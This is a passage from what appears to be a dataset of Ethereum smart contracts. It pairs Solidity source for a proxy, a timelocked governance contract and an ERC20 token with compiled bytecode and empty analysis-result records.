if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
//
/**
* @title UpgradeabilityProxy
* @dev This contract implements a proxy that allows to change the
* implementation address to which it will delegate.
* Such a change is called an implementation upgrade.
*/
contract UpgradeabilityProxy is Proxy {
/**
* @dev Contract constructor.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, bytes memory _data) public payable {
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
(bool success,) = _logic.delegatecall(_data);
require(success);
}
}
/**
* @dev Emitted when the implementation is upgraded.
* @param implementation Address of the new implementation.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation.
* @return impl Address of the current implementation
*/
function _implementation() internal override view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
* @param newImplementation Address of the new implementation.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Sets the implementation address of the proxy.
* @param newImplementation Address of the new implementation.
*/
function _setImplementation(address newImplementation) internal {
require(Address.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address");
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
}
}
//
/**
* @title AdminUpgradeabilityProxy
* @dev This contract combines an upgradeability proxy with an authorization
* mechanism for administrative tasks.
* All external functions in this contract must be guarded by the
* `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity
* feature proposal that would enable this to be done automatically.
*/
contract AdminUpgradeabilityProxy is UpgradeabilityProxy {
/**
* Contract constructor.
* @param _logic address of the initial implementation.
* @param _admin Address of the proxy administrator.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, address _admin, bytes memory _data) UpgradeabilityProxy(_logic, _data) public payable {
assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1));
_setAdmin(_admin);
}
/**
* @dev Emitted when the administration has been transferred.
* @param previousAdmin Address of the previous admin.
* @param newAdmin Address of the new admin.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Modifier to check whether the `msg.sender` is the admin.
* If it is, it will run the function. Otherwise, it will delegate the call
* to the implementation.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* @return The address of the proxy admin.
*/
function admin() external ifAdmin returns (address) {
return _admin();
}
/**
* @return The address of the implementation.
*/
function implementation() external ifAdmin returns (address) {
return _implementation();
}
/**
* @dev Changes the admin of the proxy.
* Only the current admin can call this function.
* @param newAdmin Address to transfer proxy administration to.
*/
function changeAdmin(address newAdmin) external ifAdmin {
require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address");
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the backing implementation of the proxy.
* Only the admin can call this function.
* @param newImplementation Address of the new implementation.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the backing implementation of the proxy and call a function
* on the new implementation.
* This is useful to initialize the proxied contract.
* @param newImplementation Address of the new implementation.
* @param data Data to send as msg.data in the low level call.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin {
_upgradeTo(newImplementation);
(bool success,) = newImplementation.delegatecall(data);
require(success);
}
/**
* @return adm The admin slot.
*/
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
assembly {
adm := sload(slot)
}
}
/**
* @dev Sets the address of the proxy admin.
* @param newAdmin Address of the new proxy admin.
*/
function _setAdmin(address newAdmin) internal {
bytes32 slot = ADMIN_SLOT;
assembly {
sstore(slot, newAdmin)
}
}
/**
* @dev Only fall back when the sender is not the admin.
*/
function _willFallback() internal override virtual {
require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin");
super._willFallback();
}
}
|
0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100985780635c60da1b146101185780638f28397014610149578063f851a4401461017c5761005d565b3661005d5761005b610191565b005b61005b610191565b34801561007157600080fd5b5061005b6004803603602081101561008857600080fd5b50356001600160a01b03166101ab565b61005b600480360360408110156100ae57600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156100d957600080fd5b8201836020820111156100eb57600080fd5b8035906020019184600183028401116401000000008311171561010d57600080fd5b5090925090506101e5565b34801561012457600080fd5b5061012d610292565b604080516001600160a01b039092168252519081900360200190f35b34801561015557600080fd5b5061005b6004803603602081101561016c57600080fd5b50356001600160a01b03166102cf565b34801561018857600080fd5b5061012d610389565b6101996103b4565b6101a96101a4610414565b610439565b565b6101b361045d565b6001600160a01b0316336001600160a01b031614156101da576101d581610482565b6101e2565b6101e2610191565b50565b6101ed61045d565b6001600160a01b0316336001600160a01b031614156102855761020f83610482565b6000836001600160a01b031683836040518083838082843760405192019450600093509091505080830381855af49150503d806000811461026c576040519150601f19603f3d011682016040523d82523d6000602084013e610271565b606091505b505090508061027f57600080fd5b5061028d565b61028d610191565b505050565b600061029c61045d565b6001600160a01b0316336001600160a01b031614156102c4576102bd610414565b90506102cc565b6102cc610191565b90565b6102d761045d565b6001600160a01b0316336001600160a01b031614156101da576001600160a01b0381166103355760405162461bcd60e51b81526004018080602001828103825260368152602001806105876036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61035e61045d565b604080516001600160a01b03928316815291841660208301528051918290030190a16101d5816104c2565b600061039361045d565b6001600160a01b0316336001600160a01b031614156102c4576102bd61045d565b6103bc61045d565b6001600160a01b0316336001600160a01b0316141561040c5760405162461bcd60e51b81526004018080602001828103825260328152602001806105556032913960400191505060405180910390fd5b6101a96101a9565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e808015610458573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b61048b816104e6565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b6104ef8161054e565b61052a5760405162461bcd60e51b815260040180806020018281038252603b8152602001806105bd603b913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc55565b3b15159056fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a26469706673582212205e77d129d62ee402a2fb6976b65d36ce9c533fcc99eeb18135ce2da36cd2158b64736f6c63430006060033
|
{"success": true, "error": null, "results": {}}
| 2,441 |
0xeFee2C6333F1213005AF4419c0912801B7a8C962
|
pragma solidity ^0.5.0;
// File: @openzeppelin/contracts/math/Math.sol
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
// File: @openzeppelin/contracts/math/SafeMath.sol
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract OneOAKGovernance {
using SafeMath for uint256;
modifier onlyOwner() {
require(msg.sender == owner, "Owner required");
_;
}
modifier unlocked(uint256 index) {
require(!isTimelockActivated || block.number > unlockTimes[index], "Locked");
_;
}
modifier timelockUnlocked() {
require(!isTimelockActivated || block.number > timelockLengthUnlockTime, "Timelock variable Locked");
_;
}
address public owner;
uint256 constant DEFAULT_TIMELOCK_LENGTH = 44800; // length in blocks ~7 days;
mapping(uint256 => address) public pendingValues;
mapping(uint256 => uint256) public unlockTimes;
uint256 public timelockLengthUnlockTime = 0;
uint256 public timelockLength = DEFAULT_TIMELOCK_LENGTH;
uint256 public nextTimelockLength = DEFAULT_TIMELOCK_LENGTH;
bool public isTimelockActivated = false;
mapping(uint256 => address) public governanceContracts;
constructor () public {
owner = msg.sender;
}
function activateTimelock() external onlyOwner {
isTimelockActivated = true;
}
function setPendingValue(uint256 index, address value) external onlyOwner {
pendingValues[index] = value;
unlockTimes[index] = timelockLength.add(block.number);
}
function certifyPendingValue(uint256 index) external onlyOwner unlocked(index) {
governanceContracts[index] = pendingValues[index];
unlockTimes[index] = 0;
}
function proposeNextTimelockLength(uint256 value) public onlyOwner {
nextTimelockLength = value;
timelockLengthUnlockTime = block.number.add(timelockLength);
}
function certifyNextTimelockLength() public onlyOwner timelockUnlocked() {
timelockLength = nextTimelockLength;
timelockLengthUnlockTime = 0;
}
function getGovernanceContract(uint _type) public view returns (address) {
return governanceContracts[_type];
}
}
|
0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c80638da5cb5b1161008c578063adbe865811610066578063adbe865814610323578063b7a7c50014610351578063bdfa39801461036f578063e93cfc61146103dd576100ea565b80638da5cb5b146102815780638fcf336c146102cb57806397e30fc4146102d5576100ea565b806347f884b3116100c857806347f884b3146101a957806363a5d298146101c75780636bcf5eec146101d157806376ac947a1461023f576100ea565b80631ef7fde2146100ef578063219a1f811461011d57806335c03c851461013b575b600080fd5b61011b6004803603602081101561010557600080fd5b81019080803590602001909291905050506103ff565b005b6101256104e6565b6040518082815260200191505060405180910390f35b6101676004803603602081101561015157600080fd5b81019080803590602001909291905050506104ec565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6101b161051f565b6040518082815260200191505060405180910390f35b6101cf610525565b005b6101fd600480360360208110156101e757600080fd5b8101908080359060200190929190505050610604565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61026b6004803603602081101561025557600080fd5b8101908080359060200190929190505050610637565b6040518082815260200191505060405180910390f35b61028961064f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102d3610674565b005b610321600480360360408110156102eb57600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506107d8565b005b61034f6004803603602081101561033957600080fd5b810190808035906020019092919050505061091c565b005b610359610b21565b6040518082815260200191505060405180910390f35b61039b6004803603602081101561038557600080fd5b8101908080359060200190929190505050610b27565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103e5610b64565b604051808215151515815260200191505060405180910390f35b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146104c1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f4f776e657220726571756972656400000000000000000000000000000000000081525060200191505060405180910390fd5b806005819055506104dd60045443610b7790919063ffffffff16565b60038190555050565b60045481565b60076020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60035481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146105e7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f4f776e657220726571756972656400000000000000000000000000000000000081525060200191505060405180910390fd5b6001600660006101000a81548160ff021916908315150217905550565b60016020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60026020528060005260406000206000915090505481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610736576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f4f776e657220726571756972656400000000000000000000000000000000000081525060200191505060405180910390fd5b600660009054906101000a900460ff161580610753575060035443115b6107c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f54696d656c6f636b207661726961626c65204c6f636b6564000000000000000081525060200191505060405180910390fd5b6005546004819055506000600381905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461089a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f4f776e657220726571756972656400000000000000000000000000000000000081525060200191505060405180910390fd5b806001600084815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061090143600454610b7790919063ffffffff16565b60026000848152602001908152602001600020819055505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146109de576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f4f776e657220726571756972656400000000000000000000000000000000000081525060200191505060405180910390fd5b80600660009054906101000a900460ff161580610a0d5750600260008281526020019081526020016000205443115b610a7f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f4c6f636b6564000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b6001600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166007600084815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600060026000848152602001908152602001600020819055505050565b60055481565b60006007600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b600660009054906101000a900460ff1681565b600080828401905083811015610bf5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fea265627a7a7231582070f66614959a3c03aef06abf6d904d46a717b6e2334e60797fee85f63646175064736f6c63430005100032
|
{"success": true, "error": null, "results": {}}
| 2,442 |
0xd90df6771085c94cfe850d35f7bbd36c77cd0847
|
pragma solidity ^0.4.21;
// File: contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
}
// File: contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
// File: contracts/token/ERC20/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: contracts/token/ERC20/BasicToken.sol
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
// File: contracts/token/ERC20/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: contracts/token/ERC20/StandardToken.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract TokenFactoryCN is StandardToken, Ownable {
// Constants
string public constant name = "Tao Lian";
string public constant symbol = "TAOL";
uint8 public constant decimals = 4;
uint256 public constant INITIAL_SUPPLY = 1000000000 * (10 ** uint256(decimals));
mapping(address => bool) touched;
function TokenFactoryCN() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
function _transfer(address _from, address _to, uint _value) internal {
require (balances[_from] >= _value); // Check if the sender has enough
require (balances[_to] + _value > balances[_to]); // Check for overflows
balances[_from] = balances[_from].sub(_value); // Subtract from the sender
balances[_to] = balances[_to].add(_value); // Add the same to the recipient
emit Transfer(_from, _to, _value);
}
function safeWithdrawal(uint _value ) onlyOwner public {
if (_value == 0)
owner.transfer(address(this).balance);
else
owner.transfer(_value);
}
}
|
0x6060604052600436106100e6576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100eb578063095ea7b31461017957806318160ddd146101d357806323b872dd146101fc5780632ff2e9dc14610275578063313ce5671461029e5780635f56b6fe146102cd57806366188463146102f057806370a082311461034a578063715018a6146103975780638da5cb5b146103ac57806395d89b4114610401578063a9059cbb1461048f578063d73dd623146104e9578063dd62ed3e14610543578063f2fde38b146105af575b600080fd5b34156100f657600080fd5b6100fe6105e8565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561013e578082015181840152602081019050610123565b50505050905090810190601f16801561016b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561018457600080fd5b6101b9600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610621565b604051808215151515815260200191505060405180910390f35b34156101de57600080fd5b6101e6610713565b6040518082815260200191505060405180910390f35b341561020757600080fd5b61025b600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061071d565b604051808215151515815260200191505060405180910390f35b341561028057600080fd5b610288610ad7565b6040518082815260200191505060405180910390f35b34156102a957600080fd5b6102b1610ae8565b604051808260ff1660ff16815260200191505060405180910390f35b34156102d857600080fd5b6102ee6004808035906020019091905050610aed565b005b34156102fb57600080fd5b610330600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610c36565b604051808215151515815260200191505060405180910390f35b341561035557600080fd5b610381600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ec7565b6040518082815260200191505060405180910390f35b34156103a257600080fd5b6103aa610f0f565b005b34156103b757600080fd5b6103bf611014565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561040c57600080fd5b61041461103a565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610454578082015181840152602081019050610439565b50505050905090810190601f1680156104815780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561049a57600080fd5b6104cf600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611073565b604051808215151515815260200191505060405180910390f35b34156104f457600080fd5b610529600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611292565b604051808215151515815260200191505060405180910390f35b341561054e57600080fd5b610599600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061148e565b6040518082815260200191505060405180910390f35b34156105ba57600080fd5b6105e6600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611515565b005b6040805190810160405280600881526020017f54616f204c69616e00000000000000000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573fff